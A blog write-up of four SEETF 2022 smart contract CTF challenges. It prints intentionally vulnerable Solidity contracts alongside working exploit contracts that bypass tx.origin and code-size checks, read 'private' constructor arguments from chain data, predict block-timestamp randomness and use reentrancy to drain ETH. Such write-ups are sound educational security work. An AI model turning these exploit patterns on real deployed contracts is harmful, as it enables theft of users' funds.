0xkasper

Smart Contract Auditor @ hexens.io
Bug Bounty | Security Research | CTF
< Home
Share:  

SEETF 2022 Smart Contract Write-Up


Introduction


SEETF 2022 happened already a while ago. During the CTF I completed the smart contract challenges and I have wanted to do a write-up ever since. So in this post I’ll be going over the smart contract challenges. They were not particularly hard, but a good introduction if you’re new to smart contract vulnerabilities.

The SEETF 2022 challenge repository can be found here, if you’d like to try the challenges yourself first.


Bonjour


The first challenge served as an introduction to CTF smart contract challenges, so if you’re already familiar, you should continue reading the next challenge.

The CTF ran their own Ethereum-clone blockchain where challenge smart contracts could be deployed and you could get an account funded with ETH to interact with those contracts. When attempting a challenge, you would have to connect to a server that would deploy the challenge contract just for you.

Each challenge contract has a function called isSolved() which (as you may have guessed) has to return true in order for the challenge to be solved. The deploy server would check this function and hand you the flag if it indeed returns true.

Bonjour.sol

pragma solidity ^0.8.0;

contract Bonjour {

  string public welcomeMessage;

  constructor() {
    welcomeMessage = "Bonjour";
  }

  function setWelcomeMessage(string memory _welcomeMessage) public {
    welcomeMessage = _welcomeMessage;
  }

  function isSolved() public view returns (bool) {
    return keccak256(abi.encodePacked("Welcome to SEETF")) == keccak256(abi.encodePacked(welcomeMessage));
  }
}

Even if you’re new to smart contracts, this challenge should be quite easy. The isSolved() function, which is our goal, checks if the hash of the declared state variable welcomeMessage is equal to the hash of Welcome to SEETF. The function keccak256 is a hash function that you’ll see being used very often.

The other function setWelcomeMessage() sets the variable welcomeMessage to anything we give it. The function is also marked as public, which means that anyone can call this function on the deployed contract.

So really all we have to do is call setWelcomeMessage("Welcome to SEETF").

This gives us the following solution:

Solution.sol

pragma solidity ^0.8.0;

import "Bonjour.sol";

contract Solution {
    constructor() { }

    function solve(address target_address) public { 
        Bonjour target = Bonjour(target_address);
        target.setWelcomeMessage("Welcome to SEETF");
        require(target.isSolved());
    }
}

YouOnlyHaveOneChance


In the second challenge, we have to bypass two checks with some tricks.

YouOnlyHaveOneChance.sol

pragma solidity ^0.8.0;

contract YouOnlyHaveOneChance {
    uint256 public balanceAmount;
    address public owner;
    uint256 randNonce = 0;

    constructor() {
        owner = msg.sender;

        balanceAmount =
            uint256(
                keccak256(
                    abi.encodePacked(block.timestamp, msg.sender, randNonce)
                )
            ) %
            1337;
    }

    function isBig(address _account) public view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(_account)
        }
        return size > 0;
    }

    function increaseBalance(uint256 _amount) public {
        require(tx.origin != msg.sender);
        require(!isBig(msg.sender), "No Big Objects Allowed.");
        balanceAmount += _amount;
    }

    function isSolved() public view returns (bool) {
        return balanceAmount == 1337;
    }
}

We can first look at isSolved() and we see that we have to somehow get the state variable balanceAmount to be equal to 1337. The variable is set in the constructor to a semi-random number up to 1336 and we can increase it by anything we want in increaseBalance. However, there are two checks.

The first check is that tx.origin != msg.sender has to be true. This means that the original sender of the transaction cannot be the same as the caller of this function. We can bypass this by deploying a solution contract that calls this function for us. If we do that, then tx.origin will be equal to our EOA (externally owned account) and msg.sender will be the address of our contract.

The second check calls isBig(), which basically checks the code size at the address in msg.sender and it has to be zero. An EOA will always have a code size of 0, while a smart contract’s code size is normally greater than 0. However, there is one exception. When a contract is being deployed and code execution is still in the contract’s constructor, then the code size is still 0. We can therefore bypass this check by calling the function with the right amount in the contract’s constructor.

This gives us the following solution:

Solution.sol

pragma solidity ^0.8.0;

import "YouOnlyHaveOneChance.sol";

contract Solution {
    constructor(address target_address) {
        YouOnlyHaveOneChance target = YouOnlyHaveOneChance(target_address);
        uint256 currentAmount = target.balanceAmount();
        target.increaseBalance(1337 - currentAmount);
        require(target.isSolved());
    }
}

DuperSuperSafeSafe


In the third challenge we use a property of the Ethereum block to drain all the funds of the target contract.

DuperSuperSafeSafe.sol

pragma solidity ^0.8.0;

contract DuperSuperSafeSafe {

  address private owner;
  mapping(uint => bytes32) private secret_passphrases;
  uint timestamp;

  constructor(bytes32 _secret_passphrase, bytes32 _secret_passphrase_2) payable {
    owner = msg.sender;
    timestamp = block.timestamp;
    secret_passphrases[0] = _secret_passphrase;
    secret_passphrases[1] = _secret_passphrase_2;
  }

  receive() external payable {}

  modifier restricted() {
    require(
      msg.sender == owner,
      "This function is restricted to the contract's owner"
    );
    _;
  }

  modifier passwordProtected(bytes32 _secret_passphrase, bytes32 _secret_passphrase_2, uint _timestamp) {
    require(keccak256(abi.encodePacked(secret_passphrases[0], secret_passphrases[1], timestamp)) == keccak256(abi.encodePacked(_secret_passphrase, _secret_passphrase_2, _timestamp)), "Wrong secret passphrase");
    _;
  }


  function changeOwner(address _newOwner) public {
    if (tx.origin != msg.sender) {
      owner = _newOwner;
    }
  }

  function changeSecretPassphrase(bytes32 _new_secret_passphrase, bytes32 _new_secret_passphrase_2, bytes32 _secret_passphrase, bytes32 _secret_passphrase_2, uint _timestamp) public restricted passwordProtected(_secret_passphrase, _secret_passphrase_2, _timestamp) {
    secret_passphrases[0] = _new_secret_passphrase;
    secret_passphrases[1] = _new_secret_passphrase_2;
    timestamp = block.timestamp;

  }

  function withdrawFunds(uint _amount, bytes32 _secret_passphrase, bytes32 _secret_passphrase_2, uint _timestamp) external payable restricted passwordProtected(_secret_passphrase, _secret_passphrase_2, _timestamp) {
    require(balanceOf(msg.sender) >= _amount, "Not enough funds");
    payable(address(msg.sender)).transfer(_amount);
  }

  function balanceOf(address _addr) public view returns (uint balance) {
    return address(_addr).balance;
  }

  function isSolved() public view returns (bool) {
    return balanceOf(address(this)) == 0;
  }

}

First of all, we look at isSolved(). Here we can see that we have to drain the contract’s entire ETH balance to make it 0. Luckily there is a function called withdrawFunds(), that transfers any amount of ETH from the contract to us. However, there are some restrictions.

The function has 2 modifiers, restricted and passwordProtected. The restricted modifier checks whether we are the owner. This is easily bypassed with the changeOwner() function, which only checks that tx.origin != msg.sender.

The second modifier, passwordProtected, checks the hash of the 3 function parameters _secret_passphrase, _secret_passphrase_2 and _timestamp against the hash of the values in the mapping secret_passphrases and the state variable timestamp. Unfortunately, secret_passphrases and timestamp are both private, which means we cannot retrieve the values programmatically. These secret passphrases and timestamp were set in the constructor of the target contract.

The creator of this duper-super-safe-safe forgot that no variable is really ever private on a blockchain. All of the nodes on an Ethereum blockchain execute the exact same code with the exact same input and keep a copy of the exact same state. So a constructor or function’s parameters, or even a private variable or a temporary stack variable with a calculation, are all retrievable as plain data.

By leveraging the Ethereum JSON-RPC API on the CTF’s node, we can determine what the deployer of the target contract put inside of the constructor. The eth_getTransactionByHash method allows us to get all of the transaction information by putting in the transaction hash of when the contract was deployed.

From there, with the right passphrases and timestamp, the solution is simple:

Solution.sol

pragma solidity ^0.8.0;

import "DuperSuperSafeSafe.sol";

contract Solution {
    constructor() { }

    function solve(address target_address, bytes32 secret_passphrase_1, bytes32 secret_passphrase_2, uint timestamp) public { 
        DuperSuperSafeSafe target = DuperSuperSafeSafe(target_address);
        target.changeOwner(address(this));
        target.withdrawFunds(target_address.balance, secret_passphrase_1, secret_passphrase_2, timestamp);
        require(target.isSolved());
    }
}

RollsRoyce

In the final challenge, we leverage a classic smart contract vulnerability type to drain the target contract of all of its funds.

RollsRoyce.sol

pragma solidity ^0.8.0;

contract RollsRoyce {
    enum CoinFlipOption {
        HEAD,
        TAIL
    }

    address private bettingHouseOwner;
    address public currentPlayer;
    CoinFlipOption userGuess;
    mapping(address => uint) playerConsecutiveWins;
    mapping(address => bool) claimedPrizeMoney;
    mapping(address => uint) playerPool;

    constructor() payable {
        bettingHouseOwner = msg.sender;
    }

    receive() external payable {}

    function guess(CoinFlipOption _guess) external payable {
        require(currentPlayer == address(0), "There is already a player");
        require(msg.value == 1 ether, "To play it needs to be 1 ether");

        currentPlayer = msg.sender;
        depositFunds(msg.sender);
        userGuess = _guess;
    }

    function revealResults() external {
        require(
            currentPlayer == msg.sender,
            "Only the player can reveal the results"
        );

        CoinFlipOption winningOption = flipCoin();

        if (userGuess == winningOption) {
            playerConsecutiveWins[currentPlayer] =
                playerConsecutiveWins[currentPlayer] +
                1;
        } else {
            playerConsecutiveWins[currentPlayer] = 0;
        }
        currentPlayer = address(0);
    }

    function flipCoin() private view returns (CoinFlipOption) {
        return
            CoinFlipOption(
                uint(
                    keccak256(abi.encodePacked(block.timestamp ^ 0x1F2DF76A6))
                ) % 2
            );
    }

    function viewWins(address _addr) public view returns (uint) {
        return playerConsecutiveWins[_addr];
    }

    function depositFunds(address _to) internal {
        playerPool[_to] += msg.value;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{value: amount}("");
    }

    function withdrawPrizeMoney(address _to) public payable {
        require(
            msg.sender == _to,
            "Only the player can withdraw the prize money"
        );
        require(
            playerConsecutiveWins[_to] >= 3,
            "You need to win 3 or more consecutive games to claim the prize money"
        );

        if (playerConsecutiveWins[_to] >= 3) {
            uint prizeMoney = playerPool[_to];
            playerPool[_to] = 0;
            sendValue(payable(_to), prizeMoney);
        }
    }

    function withdrawFirstWinPrizeMoneyBonus() external {
        require(
            !claimedPrizeMoney[msg.sender],
            "You have already claimed the first win bonus"
        );
        playerPool[msg.sender] += 1 ether;
        withdrawPrizeMoney(msg.sender);
        claimedPrizeMoney[msg.sender] = true;
    }

    function isSolved() public view returns (bool) {
        // Return true if the game is solved
        return address(this).balance == 0;
    }
}

This challenge contract has a bit more code and functions. The first function, guess(), allows us to place a guess of type CoinFlipOption, so either HEAD or TAIL, in userGuess. But we have to pay 1 ETH. Afterwards, we can call revealResults(), which calls flipCoin() and if the result is the same as our guess, then we get our playerConsecutiveWins incremented.

Then there is withdrawPrizeMoney, which will send us the value of our playerPool, but only if we have won 3 times in a row. And finally, the last public function is withdrawFirstWinPrizeMoneyBonus which increments our playerPool with 1 ETH and also forces a withdraw. It checks whether we claimed this bonus before, so this first win bonus can only be obtained once. Or can it?

The first bug you might have noticed is in the flipCoin() function. It basically uses block.timestamp and a constant to generate a ‘random’ coin flip option. This is easily predictable by doing the calculation in our own contract before calling guess(). This is how we are going to win 3 times in a row.

However, when we play normally, only our own playerPool gets incremented with our deposit. So the only extra ETH we can get is from the first win bonus, which was 1 ETH. The actual challenge contract had a balance of 5 ETH, so we have to steal the rest as well.

To achieve this, we exploit the second vulnerability in the contract: a classic reentrancy. You may have already noticed the sendValue() call in withdrawPrizeMoney(). When ETH is sent to a contract, the receiving contract can execute code before returning back to the sender by overwriting the receive() function. This code could be anything, including calling the function of the sending contract again, re-entering the function (hence reentrancy). This often results in some exploitable behaviour.

Our playerPool is set to 0 before the ETH is sent, so we cannot re-enter withdrawPrizeMoney() and withdraw our money again. The other interesting state update is in withdrawFirstWinPrizeMoneyBonus(), where a call to withdrawPrizeMoney() will give us code execution and the state update to claimedPrizeMoney (which tracks who has claimed their first win bonus) is done after this call. This allows us to claim the first win bonus as many times as we want by re-entering the function, draining the contract of all of its ETH.

The solution would therefore first win 3 times in a row and then repeatedly re-enter withdrawFirstWinPrizeMoneyBonus():

Solution.sol

pragma solidity ^0.8.0;

import "RollsRoyce.sol";

contract Solution {
    RollsRoyce target;

    constructor() { }

    function solve(address target_address) public payable { 
        target = RollsRoyce(target_address);
        for (uint i = 0; i < 3; i++) {
            RollsRoyce.CoinFlipOption next_guess = flipCoin();
            target.guess{value: 1 ether}(next_guess);
            target.revealResults();
        }
        target.withdrawFirstWinPrizeMoneyBonus();
        require(target.isSolved());
    }

    receive () external payable {
        if (address(target).balance > 0) {
            target.withdrawFirstWinPrizeMoneyBonus();
        }
    }

    function flipCoin() private view returns (RollsRoyce.CoinFlipOption) {
        return
            RollsRoyce.CoinFlipOption(
                uint(
                    keccak256(abi.encodePacked(block.timestamp ^ 0x1F2DF76A6))
                ) % 2
            );
    }
}